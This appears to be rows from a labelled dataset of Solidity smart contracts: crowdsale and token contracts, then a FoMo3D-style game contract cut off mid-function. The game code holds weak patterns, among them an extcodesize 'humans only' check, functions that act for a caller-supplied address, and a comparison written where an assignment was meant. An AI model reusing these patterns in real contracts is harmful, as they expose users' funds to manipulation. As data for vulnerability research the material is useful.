return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
ERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = ERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function invest(address receiver) inState(State.Funding) stopInEmergency payable public {
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender);
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsale is Crowdsale {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
maximumSellableTokens = _maximumSellableTokens;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract RelaunchedCrowdsale is MintedTokenCappedCrowdsale {
function RelaunchedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) MintedTokenCappedCrowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _maximumSellableTokens) {
}
function setInvestorData(address _addr, uint _weiAmount, uint _tokenAmount) onlyOwner public {
investedAmountOf[_addr] = _weiAmount;
tokenAmountOf[_addr] = _tokenAmount;
weiRaised += _weiAmount;
tokensSold += _tokenAmount;
investorCount++;
Invested(_addr, _weiAmount, _tokenAmount);
}
} | 0 | 1,641 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
contract modularFast is F3Devents {}
contract FoMo3DFast is modularFast {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x27D5C0C175C1Ba67986319ac297d2F4D3bC2b7b2);
address private admin = msg.sender;
bool public activated_ = false;
string constant public name = "FOMO Test";
string constant public symbol = "Test";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 20 seconds;
uint256 constant private rndMax_ = 8 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXnameQR(address _realSender,bytes32 _affCode, uint256 _team)
isActivated()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePIDQR(_realSender,_eventData_);
uint256 _pID = pIDxAddr_[_realSender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCoreQR(_realSender, _pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function withdrawQR(address _realSender)
isActivated()
payable
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[_realSender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
_realSender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, _realSender, plyr_[_pID].name, _eth, _now);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function buyCoreQR(address _realSender,uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
coreQR(_realSender,_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
_realSender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 400000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 4000000000000000000)
{
uint256 _availableLimit = (4000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
